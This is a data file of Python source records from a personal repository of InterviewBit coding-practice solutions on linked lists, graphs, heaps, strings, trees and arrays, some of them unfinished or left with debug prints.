"blob_id": "cab73c63af54eae6ace08955ffed3c53c69fca40", "content_id": "2cc8cb78d78a58751be3def319882069ca9e213b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 932, "license_type": "no_license", "max_line_length": 44, "num_lines": 31, "path": "/Linked LIst/add2Numbers.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param A : head node of linked list\n def add2Numbers(self, A, B):\n carry = 0\n head = None\n new_head = None\n while A != None or B != None:\n val1 = 0 if A == None else A.val\n val2 = 0 if B == None else B.val\n sum = val1 + val2 + carry\n carry = sum // 10\n if head == None:\n head = ListNode(sum%10)\n new_head = head\n else:\n temp = ListNode(sum%10)\n head.next = temp\n head = head.next\n A = A.next if A != None else A\n B = B.next if B != None else B\n if carry != 0:\n temp = ListNode(carry)\n head.next = temp\n head = head.next\n return new_head\n" }, { "alpha_fraction": 0.5230370163917542, "alphanum_fraction": 0.5389357805252075, "avg_line_length": 38.52564239501953, "blob_id": "10c31cf1802ce5d74d53ae91346357dc5a1164a5", "content_id": "c3487c87ec548e3a24bdfc47acd1aef1a7656d90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3082, "license_type": "no_license", "max_line_length": 117, "num_lines": 78, "path": "/graph related codes/dijkstra_primm.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import collections\nimport sys\n\nclass Graph:\n\n def __init__(self, directed, vertices):\n self.graph = [[sys.maxsize if column != row else 0 for column in range(vertices)] for row in range(vertices)]\n self.directed = directed\n # print (self.graph)\n\n def graph_copy(self, graph):\n self.graph = graph\n # print (self.graph)\n\n def add_connection(self, a, b, c):\n if a == b:\n return\n if self.directed == True:\n self.graph[a][b] = c\n else:\n self.graph[a][b] = c\n self.graph[b][a] = c\n\n def get_min_index(self, distance, visited_vertex):\n min = sys.maxsize\n index = -1\n # print (distance)\n # print (visited_vertex)\n for i in range(len(distance)):\n if distance[i] < min and visited_vertex[i] == False:\n min = distance[i]\n index = i\n return index\n\n def dijkstra(self, start):\n visited_vertex = [False] * len(self.graph)\n distance = [sys.maxsize] * len(self.graph)\n distance[start] = 0\n\n for i in range(len(self.graph)):\n index = self.get_min_index(distance, visited_vertex)\n # print (index)\n visited_vertex[index] = True\n for j in range(len(self.graph)):\n # print (self.graph[index][j])\n if self.graph[index][j] < sys.maxsize and visited_vertex[j] == False:\n # print (\"inside 1\")\n # print (distance[index] + self.graph[index][j])\n if distance[index] + self.graph[index][j] < distance[j]:\n # print (self.graph[index][j])\n distance[j] = distance[index] + self.graph[index][j]\n\n print (distance)\n # print (visited_vertex)\n\n def floyd_marshall(self):\n distance = self.graph\n for k in range(len(self.graph)):\n for i in range(len(self.graph)):\n for j in range(len(self.graph)):\n distance[i][j] = min (distance[i][j], distance[i][k] + distance[k][j])\n print (distance)\n print (distance)\n\nif __name__ == \"__main__\":\n g = Graph(False, 9)\n g.graph_copy([[0, 4, sys.maxsize, sys.maxsize, sys.maxsize, sys.maxsize, sys.maxsize, 8, sys.maxsize],\n [4, 0, 8, sys.maxsize, sys.maxsize, sys.maxsize, sys.maxsize, 11, sys.maxsize],\n [sys.maxsize, 8, 0, 7, sys.maxsize, 4, sys.maxsize, sys.maxsize, 2],\n [sys.maxsize, sys.maxsize, 7, 0, 9, 14, sys.maxsize, sys.maxsize, sys.maxsize],\n [sys.maxsize, sys.maxsize, sys.maxsize, 9, 0, 10, sys.maxsize, sys.maxsize, sys.maxsize],\n [sys.maxsize, sys.maxsize, 4, 14, 10, 0, 2, sys.maxsize, sys.maxsize],\n [sys.maxsize, sys.maxsize, sys.maxsize, sys.maxsize, sys.maxsize, 2, 0, 1, 6],\n [8, 11, sys.maxsize, sys.maxsize, sys.maxsize, sys.maxsize, 1, 0, 7],\n [sys.maxsize, sys.maxsize, 2, sys.maxsize, sys.maxsize, sys.maxsize, 6, 7, 0]\n ])\n g.dijkstra(0)\n g.floyd_marshall()" }, { "alpha_fraction": 0.4733542203903198, "alphanum_fraction": 0.4921630024909973, "avg_line_length": 23.615385055541992, "blob_id": "39e0a426fc73ed29dbfbd95b7632946d298cced2", "content_id": "a2962b93f2b1258b7bdf63d7633f7ffe7dac5b86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 319, "license_type": "no_license", "max_line_length": 54, "num_lines": 13, "path": "/math/excelColumn.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : string\n # @return an integer\n def titleToNumber(self, A):\n value = 0\n n = len(A)\n for i in range(n):\n value += pow(26, n-1-i) * (ord(A[i]) - 64)\n return value\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.titleToNumber(''))" }, { "alpha_fraction": 0.4888676106929779, "alphanum_fraction": 0.5113717913627625, "avg_line_length": 39.563106536865234, "blob_id": "c6adf165120000d53ddc09d6aed982a63b041a07", "content_id": "31aecf450456e7a4fe1d47b59c0b9982769d3674", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4177, "license_type": "no_license", "max_line_length": 113, "num_lines": 103, "path": "/arrays/mergeIntervals.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Interval():\n\n def __init__(self, s=0, e=0):\n self.start = s\n self.end = e\n\nclass Solution():\n\n def merge(self, intervals, new_interval):\n print(intervals)\n print(new_interval)\n new_intervals = []\n for i in range (len(intervals)):\n interval = Interval(intervals[i][0], intervals[i][1])\n new_intervals.append(interval)\n new_interval = Interval(new_interval[0], new_interval[1])\n intervals = new_intervals\n print (intervals)\n print (new_interval.start)\n\n if new_interval.start > new_interval.end:\n temp = new_interval.start\n new_interval.start = new_interval.end\n new_interval.end = temp\n print (new_interval.start)\n print(new_interval.end)\n\n mode = 0\n for i in range(len(intervals)):\n print(intervals[i].start)\n print(intervals[i].end)\n print (new_interval)\n print(new_interval.start)\n print(new_interval.end)\n if intervals[i].start > new_interval.end:\n intervals.insert(i, new_interval)\n print (1)\n mode = 1\n break\n elif intervals[i].start <= new_interval.start and intervals[i].end >= new_interval.start:\n intervals[i].start = min(intervals[i].start, new_interval.start)\n intervals[i].end = max(intervals[i].end, new_interval.end)\n print (2)\n mode = 1\n break\n elif intervals[i].start >= new_interval.start and intervals[i].end <= new_interval.end:\n intervals[i].start = min(intervals[i].start, new_interval.start)\n intervals[i].end = max(intervals[i].end, new_interval.end)\n print (3)\n mode = 1\n break\n elif intervals[i].start <= new_interval.start and intervals[i].end >= new_interval.end:\n intervals[i].start = min(intervals[i].start, new_interval.start)\n intervals[i].end = max(intervals[i].end, new_interval.end)\n print(4)\n mode = 1\n break\n elif intervals[i].start >= new_interval.start and intervals[i].start <= new_interval.end:\n intervals[i].start = min(intervals[i].start, new_interval.start)\n intervals[i].end = max(intervals[i].end, new_interval.end)\n print(5)\n mode = 1\n break\n # elif intervals[i].start == new_interval.start:\n # intervals[i].end = max(intervals[i].end, new_interval.end)\n # print (1)\n # mode = 1\n # break\n # elif intervals[i].end >= new_interval.start:\n # intervals[i].end = max(intervals[i].end, new_interval.end)\n # print(2)\n # mode = 1\n # break\n # elif intervals[i].start <= new_interval.end:\n # intervals[i].start = min(new_interval.start, intervals[i].start)\n # intervals[i].end = min(new_interval.end, intervals[i].end)\n # print(4)\n # mode = 1\n # break\n if mode == 0:\n intervals.append(new_interval)\n new_list = intervals[:i + 1]\n for i in range(len(new_list)):\n print (f\"{new_list[i].start} :: {new_list[i].end}\")\n print (i)\n for j in range(i + 1, len(intervals)):\n start = new_list[-1].start\n end = new_list[-1].end\n if intervals[j].start == start:\n new_list[-1].end = max(end, intervals[j].end)\n elif intervals[j].start <= end:\n new_list[-1].end = max(end, intervals[j].end)\n else:\n new_list.append(intervals[j])\n for i in range(len(new_list)):\n print (f\"{new_list[i].start} :: {new_list[i].end}\")\n return new_list\n\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.merge([ (31935139, 38366404), (54099301, 76986474), (87248431, 94675146) ], (43262807, 68844111)))" }, { "alpha_fraction": 0.5267605781555176, "alphanum_fraction": 0.5389671325683594, "avg_line_length": 29.428571701049805, "blob_id": "2be5317a833e273851ca2cf4e620d412852f1fcf", "content_id": "9fe2f1a0c35def2e138de1aad6230a5e548434f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2130, "license_type": "no_license", "max_line_length": 89, "num_lines": 70, "path": "/heaps and maps/maxHeap.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class MaxHeap():\n\n def __init__(self):\n self.heap = []\n self.size = 0\n\n def insert_element(self, value):\n self.heap.append(value)\n self.heapifyUp()\n self.size += 1\n\n def get_root_element(self):\n value = self.heap[0] if self.size > 0 else None\n self.heap[0] = self.heap[self.size - 1]\n self.size -= 1\n self.heapifyDown()\n return value\n\n def heapifyUp(self):\n child = self.size\n parent = int((child - 1)/2)\n while parent != child:\n parent_value = self.heap[parent]\n child_value = self.heap[child]\n if parent_value >= child_value:\n break\n else:\n self.heap[parent], self.heap[child] = self.heap[child], self.heap[parent]\n child = parent\n parent = int((child - 1)/2)\n\n def heapifyDown(self):\n parent = 0\n while parent <= self.size:\n child = parent\n left_child = parent * 2 + 1\n if left_child < self.size and self.heap[child] < self.heap[left_child]:\n child = left_child\n right_child = parent * 2 + 2\n if right_child < self.size and self.heap[child] < self.heap[right_child]:\n child = right_child\n if child == parent:\n break\n self.heap[parent], self.heap[child] = self.heap[child], self.heap[parent]\n parent = child\n\n def print_element(self):\n for i in range(self.size):\n print (self.heap[i], end=' ')\n print ()\n\nif __name__ == \"__main__\":\n heap = MaxHeap()\n heap.insert_element(15)\n heap.print_element()\n heap.insert_element(15)\n heap.print_element()\n heap.insert_element(15)\n heap.print_element()\n heap.insert_element(15)\n heap.print_element()\n heap.insert_element(7)\n heap.print_element()\n heap.insert_element(7)\n heap.print_element()\n print (heap.get_root_element())\n print(heap.get_root_element())\n print(heap.get_root_element())\n print(heap.get_root_element())\n heap.print_element()\n" }, { "alpha_fraction": 0.33016303181648254, "alphanum_fraction": 0.3444293439388275, "avg_line_length": 34.07143020629883, "blob_id": "5b3e8de93e595f732b195225ae33eb0d7873d980", "content_id": "87e400351b097b813b8f156f0b6c27029c4460a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1472, "license_type": "no_license", "max_line_length": 317, "num_lines": 42, "path": "/Strings/prettyJson.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def prettyJson(self, A):\n n = len (A)\n count = 0\n out = []\n line = ''\n i = 0\n while i < n:\n if A[i] == '{' or A[i] == '[':\n if line != '':\n out.append(line)\n line = '\\t' * count + A[i]\n out.append(line)\n count += 1\n line = ''\n elif A[i] == '}' or A[i] == ']':\n if line != '':\n out.append(line)\n count -= 1\n if i+1 < n and A[i+1] == ',':\n line = '\\t' * count + A[i:i+2]\n i += 1\n else:\n line = '\\t' * count + A[i]\n out.append(line)\n line = ''\n elif A[i] == ' ':\n continue\n elif A[i] == ',':\n line += A[i]\n out.append(line)\n line = ''\n else:\n line = '\\t' * count if line == '' else line\n line += A[i]\n i += 1\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.prettyJson('{\"attributes\":[{\"nm\":\"ACCOUNT\",\"lv\":[{\"v\":{\"Id\":null,\"State\":null},\"vt\":\"java.util.Map\",\"cn\":1}],\"vt\":\"java.util.Map\",\"status\":\"SUCCESS\",\"lmd\":13585},{\"nm\":\"PROFILE\",\"lv\":[{\"v\":{\"Party\":null,\"Ads\":null},\"vt\":\"java.util.Map\",\"cn\":2}],\"vt\":\"java.util.Map\",\"status\":\"SUCCESS\",\"lmd\":41962}]}'))" }, { "alpha_fraction": 0.45604395866394043, "alphanum_fraction": 0.4642857015132904, "avg_line_length": 23.33333396911621, "blob_id": "baf20259bcb08b2324713b3f7af2f285873e4e5c", "content_id": "c0157d6024c4f36ece9be0c4bf64de80e9c07997", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 364, "license_type": "no_license", "max_line_length": 40, "num_lines": 15, "path": "/practise.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "def myfunc(sequence):\n output = ''\n for i, value in enumerate(sequence):\n print (i)\n print (value)\n if i == 0:\n output += value.lower()\n else:\n if i % 2 == 0:\n output += value.upper()\n else:\n output += value.lower()\n return output\n\nprint (myfunc(\"Anthromorphism\"))" }, { "alpha_fraction": 0.5064935088157654, "alphanum_fraction": 0.6147186160087585, "avg_line_length": 22.200000762939453, "blob_id": "b4de137824a2d1a7a66877f0e4bea93d3084b632", "content_id": "195e56de0fcd44096d3ed1f5a633162a77175f05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 231, "license_type": "no_license", "max_line_length": 45, "num_lines": 10, "path": "/heaps and maps/minHeap.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import heapq\n\nh = []\nheapq.heappush(h, (100, 6, 6))\nheapq.heappush(h, (10000, 0, 0))\nheapq.heappush(h, (1000, 5, 5))\nheapq.heappush(h, (10, 6, 6))\nheapq.heappush(h, (1, 8, 6))\na = [heapq.heappop(h) for i in range(len(h))]\nprint (a)" }, { "alpha_fraction": 0.39009901881217957, "alphanum_fraction": 0.4039604067802429, "avg_line_length": 28.705883026123047, "blob_id": "a2d682dbc30ef08633dc20a8e6944551930a5f2d", "content_id": "f93a22ef25c7abf1075a1c3dc40f788e56d8808c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 505, "license_type": "no_license", "max_line_length": 48, "num_lines": 17, "path": "/math/numberLengthN.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : list of integers\n # @param B : integer\n # @param C : integer\n # @return an integer\n def solve(self, A, B, C):\n combinations = 0\n for j in range(len(A)):\n if A[j] == 0:\n continue\n if A[j] < C[0]:\n combinations += pow(len(A), B-1)\n continue\n if A[j] == C[0]:\n comb = 1\n # for i in range(1, B):\n # for k in range(len(A)):\n" }, { "alpha_fraction": 0.38499999046325684, "alphanum_fraction": 0.38749998807907104, "avg_line_length": 23.272727966308594, "blob_id": "fcfb9aaa30f536f398e6b9b1967129268247e87b", "content_id": "ba5e13d79f91f5b2c71437fec6393d50f5452f9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 800, "license_type": "no_license", "max_line_length": 50, "num_lines": 33, "path": "/Stack and Queues/evaluateExpression.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def evalExpression(self, A):\n stack = []\n oparr = ['+', '-', '*', '/']\n if len(A) == 0:\n return 0\n for elem in A:\n if elem in oparr:\n y = stack.pop()\n x = stack.pop()\n value = self.get_value(x, y, elem)\n stack.append(value)\n else:\n stack.append(elem)\n return stack.pop()\n\n\n def get_value(self, x, y, op):\n x = int(x)\n y = int(y)\n if op == '+':\n return str(x+y)\n elif op == '-':\n return str(x-y)\n elif op == '*':\n return str(x*y)\n elif op == '/':\n return str(x//y)\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.evalExpression())" }, { "alpha_fraction": 0.3266596496105194, "alphanum_fraction": 0.35194942355155945, "avg_line_length": 29.645160675048828, "blob_id": "5c4da809cadbae96a5c3de89b55aa77fcf5c6459", "content_id": "7ba648a3ca8270dc7b94d297252515fc6eb400e1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 949, "license_type": "no_license", "max_line_length": 68, "num_lines": 31, "path": "/Strings/zigzagString.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def zigzagString(self, A, B):\n n = len(A)\n if n == 0:\n return \"\"\n if B == 1:\n return A\n out = ''\n for i in range(1, B+1):\n index = i - 1\n out += A[index] if index < n else ''\n mode = 0 ## 0 means down, 1 means up\n next = -1\n while index < n:\n if mode == 0:\n next = (B - i - 1) * 2 + 1 + 1\n mode = 1\n elif mode == 1:\n next = (i - 1 - 1) * 2 + 1 + 1\n mode = 0\n print(f\"{index}:{A[index]}::{i}:{mode}::{next}:{n}\")\n if next > 0:\n index += next\n out = out + A[index] if index < n else out\n # out += A[index]\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.zigzagString(\"PAYPALISHIRING\", 5))" }, { "alpha_fraction": 0.5547558069229126, "alphanum_fraction": 0.5634961724281311, "avg_line_length": 28.923076629638672, "blob_id": "f4a2de0981414beb693cfba179863a8e0eb38aac", "content_id": "0dc14e723f486b43ab9ea4e7022125e644bfa76f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1945, "license_type": "no_license", "max_line_length": 75, "num_lines": 65, "path": "/graph related codes/graph_traversal.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "import collections\n\n\nclass Graph:\n\n def __init__(self, directed):\n self.graph = collections.defaultdict(set)\n self.directed = directed\n # print (self.graph)\n\n def add_connection(self, a, b):\n if self.directed == True:\n self.graph[a].add(b)\n else:\n self.graph[a].add(b)\n self.graph[b].add(a)\n\n def bfs_traversal(self, start):\n if start not in self.graph:\n return \"Node not in Graph\"\n queue = collections.deque()\n queue.append(start)\n visited_vertex = collections.defaultdict(None)\n output = ''\n while len(queue) != 0:\n vertex = queue.popleft()\n # print (vertex)\n output = output + ' ' + str(vertex)\n visited_vertex[vertex] = 1\n for connected_vertex in self.graph[vertex]:\n if connected_vertex not in visited_vertex:\n queue.append(connected_vertex)\n # print (queue)\n del visited_vertex\n del queue\n return output.strip()\n\n\n def dfs_traversal(self, start):\n visited_vertex = collections.defaultdict(None)\n output = self.dfs(start, visited_vertex, '')\n del visited_vertex\n return output.strip()\n\n def dfs(self, start, visited_vertex, output):\n print (\"inside dfs: \" + str(start))\n visited_vertex[start] = 1\n output = output + ' ' + str(start)\n for connected_vertex in self.graph[start]:\n if connected_vertex not in visited_vertex:\n output = self.dfs(connected_vertex, visited_vertex, output)\n return output\n\n\nif __name__ == \"__main__\":\n g = Graph(False)\n g.add_connection(2, 0)\n g.add_connection(0, 1)\n g.add_connection(1, 1)\n g.add_connection(2, 3)\n g.add_connection(3, 3)\n g.add_connection(1, 2)\n # output = g.bfs_traversal(2)\n output = g.dfs_traversal(2)\n print (output)\n" }, { "alpha_fraction": 0.35789474844932556, "alphanum_fraction": 0.378947377204895, "avg_line_length": 24.954545974731445, "blob_id": "1e90d411c3afefdd1c94586fac1fc79e7a2c502f", "content_id": "c1decd94a29aca1e7d1c30ab633da8e5bf64e90f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 570, "license_type": "no_license", "max_line_length": 48, "num_lines": 22, "path": "/arrays/generate_pascal_triangle.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n def generate(self, A):\n if A < 1:\n return \n B = []\n B.append([1])\n for row in range(1, A):\n col_value = []\n for col in range(row+1):\n value = 0\n if col + 1 <= row:\n value += B[row - 1][col]\n if col - 1 >= 0:\n value += B[row - 1][col - 1]\n col_value.append(value)\n B.append(col_value)\n return B\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.generate(0))" }, { "alpha_fraction": 0.3851175010204315, "alphanum_fraction": 0.40992167592048645, "avg_line_length": 26.39285659790039, "blob_id": "b0623dbfbef6409492d2e3acd4fd067146e18e17", "content_id": "07dbf9065e33edae7533d6cdb736e457bb8ac571", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 766, "license_type": "no_license", "max_line_length": 68, "num_lines": 28, "path": "/Stack and Queues/slidingWindowMaximum.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def slidingWindowMax(self, A, B):\n stack = []\n out = []\n n = len(A)\n if n == 0:\n return []\n if B > len(A):\n return [max(A)]\n for i in range(B):\n while stack and A[i] >= A[stack[-1]]:\n stack.pop()\n stack.append(i)\n out.append(A[stack[0]])\n for i in range(B, n):\n print (stack)\n if stack[0] <= i - B:\n stack.pop(0)\n while stack and A[i] >= A[stack[-1]]:\n stack.pop()\n stack.append(i)\n out.append(A[stack[0]])\n return out\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.slidingWindowMax([10, 9, 8, 7, 6, 5, 4, 3, 2, 1], 3))" }, { "alpha_fraction": 0.4596622884273529, "alphanum_fraction": 0.4721701145172119, "avg_line_length": 31.64285659790039, "blob_id": "bf5d0387bdb98402bc4e7ccb47bc71bd2951dda5", "content_id": "efdb4a8e44ef51e69fc9a67e279e5b5e4e938c4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3198, "license_type": "no_license", "max_line_length": 76, "num_lines": 98, "path": "/Trees/recoverBST.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Node():\n\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution():\n\n def revoverBST(self, A):\n first = []\n middle = []\n last = []\n last_value = []\n self.get_abnormal_nodes(A, first, middle, last, last_value)\n if last:\n return [first[0].val, last[0].val]\n else:\n return [first[0].val, middle[0].val]\n # for node in nodes:\n # print (node.val)\n # if len(nodes) == 2:\n # return [nodes[0].val, nodes[1].val]\n # else:\n # node = nodes[0]\n # if node.left:\n # if node.val < node.left.val:\n # return [node.val, node.left.val]\n # if node.right:\n # if node.val > node.right.val:\n # return [node.val, node.right.val]\n\n def get_abnormal_nodes(self, node, first, middle, last, last_value):\n if node == None:\n return\n self.get_abnormal_nodes(node.left, first, middle, last, last_value)\n if last_value:\n if node.val < last_value[0].val:\n # print (node.val)\n if first:\n last.append(node)\n else:\n first.extend(last_value)\n middle.append(node)\n if last_value:\n last_value[0] = node\n else:\n last_value.append(node)\n self.get_abnormal_nodes(node.right, first, middle, last, last_value)\n # def get_abnormal_nodes(self, node, nodes):\n # if node == None:\n # return\n # if node.left and node.right:\n # if node.left.val > node.val and node.val < node.right.val:\n # if node.left not in nodes:\n # print(1)\n # print (node.left.val)\n # nodes.append(node.left)\n # elif node.left.val > node.val and node.val > node.right.val:\n #\n # if node.right.val < node.val:\n # if node not in nodes:\n # print (4)\n # print (node.val)\n # nodes.append(node)\n # elif node.left:\n # if node.val < node.left.val:\n # if node.left not in nodes:\n # print(2)\n # print(node.left.val)\n # nodes.append(node.left)\n # elif node.right:\n # if node.val > node.right.val:\n # if node not in nodes:\n # print(3)\n # print(node.val)\n # nodes.append(node)\n # self.get_abnormal_nodes(node.left, nodes)\n # self.get_abnormal_nodes(node.right, nodes)\n\nif __name__ == \"__main__\":\n head = Node(100)\n node = head\n node.left = Node(50)\n node.right = Node(108)\n left = node.left\n right = node.right\n left.left = Node(25)\n left.right = Node(75)\n left = left.right\n left.right = Node(85)\n right.left = Node(101)\n right.right = Node(116)\n right = right.right\n right.left = Node(120)\n right.right = Node(124)\n sol = Solution()\n print (sol.revoverBST(head))" }, { "alpha_fraction": 0.3576051890850067, "alphanum_fraction": 0.3656958043575287, "avg_line_length": 18.90322494506836, "blob_id": "595ff71501542d761fde5a8caf3a6b7455ad586e", "content_id": "9fdcb032ab0284e1c279d4c631e91f30cf8dc4f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 618, "license_type": "no_license", "max_line_length": 41, "num_lines": 31, "path": "/Strings/longestCommonPrefix.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def lcp(self, A):\n prefix = ''\n index = 0\n n = len(A[0])\n while True:\n if index < n:\n letter = A[0][index]\n else:\n return prefix\n for i in range(1, len(A)):\n m = len(A[i])\n if index >= m:\n return prefix\n if A[i][index] != letter:\n return prefix\n prefix += letter\n index += 1\n return prefix\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.lcp([\n\n \"abc\",\n\n \"a\",\n\n \"abc\"\n]))\n\n" }, { "alpha_fraction": 0.539170503616333, "alphanum_fraction": 0.539170503616333, "avg_line_length": 24.58823585510254, "blob_id": "f24d56ed7814a747494446271e0f75193e5b033b", "content_id": "9f3c6a5500ee7ea47374c0fe83b9523bedc71789", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 434, "license_type": "no_license", "max_line_length": 44, "num_lines": 17, "path": "/Trees/flattenBT.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def flattenBT(self, A):\n return self.get_flatten(A)\n\n def get_flatten(self, node):\n if node == None:\n return None\n left = self.get_flatten(node.left)\n right = self.get_flatten(node.right)\n node.left = None\n node.right = left\n temp = node\n while temp.right != None:\n temp = temp.right\n temp.right = right\n return node" }, { "alpha_fraction": 0.42814669013023376, "alphanum_fraction": 0.44202181696891785, "avg_line_length": 31.580644607543945, "blob_id": "ef75b2f2223423145fa35c07e12c8965dc6bbcb8", "content_id": "74b85f4c32e196ca745ccac49c5b6883f1686ceb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1009, "license_type": "no_license", "max_line_length": 121, "num_lines": 31, "path": "/black_shapes.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : list of strings\n # @return an integer\n def black(self, A):\n count = 0\n row = len(A)\n column = len(A[0])\n B = [[1 for col in each_row] for each_row in A]\n for i in range(row):\n for j in range(column):\n # print (A[i][j])\n if A[i][j] == 'X' and B[i][j] == 1:\n count += 1\n self.get_path(i, j, A, B)\n return count\n\n\n def get_path(self, row, column, A, B):\n if row < 0 or row >= len(A) or column < 0 or column >= len(A[0]) or A[row][column] != 'X' or B[row][column] != 1:\n return\n B[row][column] = 0\n self.get_path(row + 1, column, A, B)\n self.get_path(row - 1, column, A, B)\n self.get_path(row, column - 1, A, B)\n self.get_path(row, column + 1, A, B)\n return\n\nif __name__ == \"__main__\":\n sol = Solution()\n A = [['X','X', 'X'], ['X', 'X','X'] , ['X', 'X', 'X']]\n print (sol.black(A))" }, { "alpha_fraction": 0.37833037972450256, "alphanum_fraction": 0.43161633610725403, "avg_line_length": 22.5, "blob_id": "7b82c87e665be4637ca21a6bd986650c30b7bcb4", "content_id": "928307dcdb54dc7e6e0ac826646b677a7e1f366b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 563, "license_type": "no_license", "max_line_length": 49, "num_lines": 24, "path": "/backtracking/modularExpression.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution:\n # @param A : integer\n # @param B : integer\n # @param C : integer\n # @return an integer\n def Mod(self, A, B, C):\n if B == 0:\n return 1\n A = A % C\n val = self.mod(A, B, C)\n return val\n\n def mod(self, A, B, C):\n if B == 1:\n return A % C\n val = self.mod(A, B//2, C)\n val = (val * val) % C\n if B % 2 == 1:\n val = (val * A) % C\n return val\n\nif __name__ == \"__main__\":\n sol = Solution()\n print (sol.Mod(71045970, 41535484, 64735492))" }, { "alpha_fraction": 0.3321554660797119, "alphanum_fraction": 0.35865724086761475, "avg_line_length": 22.625, "blob_id": "e50bf03f149f9fef07e8b60d4c040c3ad871fe24", "content_id": "42e8243d80899d7ef0ae08820e1b25ba6904925d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 566, "license_type": "no_license", "max_line_length": 52, "num_lines": 24, "path": "/Two Pointers/removeElement.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def remove_element(self, A, B):\n n = len(A)\n start = 0\n length = 0\n last = 0\n while start < n:\n if A[start] == B:\n # A.pop(start)\n # n -= 1\n start += 1\n else:\n A[last] = A[start]\n start += 1\n length += 1\n last += 1\n A = A[:length]\n # print (A)\n return length\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.remove_element([4, 1, 1, 2, 1, 3], 1))" }, { "alpha_fraction": 0.43971630930900574, "alphanum_fraction": 0.45390069484710693, "avg_line_length": 30.943395614624023, "blob_id": "0d5b1052e255fd99df4c50d907fa9a0f0890ed6d", "content_id": "94a2eeeebdbe62c38999519c36350a3f995a5f84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1692, "license_type": "no_license", "max_line_length": 127, "num_lines": 53, "path": "/hashing/longestSubstringwithoutRepeat.py", "repo_name": "aakash2602/InterviewBit", "src_encoding": "UTF-8", "text": "class Solution():\n\n def longestSubstring(self, A):\n # A = A.lower()\n hash_map = {}\n start = 0\n out = ''\n maxlen = 0\n n = len(A)\n for i in range(n):\n if A[i] not in hash_map:\n hash_map[A[i]] = i\n else:\n val = hash_map[A[i]]\n if val >= start:\n subs_len = i - start\n if subs_len > maxlen:\n maxlen = subs_len\n out = A[start:i]\n start = val + 1\n hash_map[A[i]] = i\n # print(f\"{start}:{maxlen}::{i}:{A[i]}:{out}\")\n subs_len = n - start\n if subs_len > maxlen:\n out = A[start:n]\n maxlen = n - start\n return maxlen\n\n def longestUniqueSubsttr(self, string):\n n = len(string)\n cur_len = 1 # To store the lenght of current substring\n max_len = 1 # To store the result\n visited = [-1] * 256\n\n visited[ord(string[0])] = 0\n\n for i in range(1, n):\n prev_index = visited[ord(string[i])]\n if prev_index == -1 or (i - cur_len > prev_index):\n cur_len += 1\n else:\n if cur_len > max_len:\n max_len = cur_len\n cur_len = i - prev_index\n visited[ord(string[i])] = i\n if cur_len > 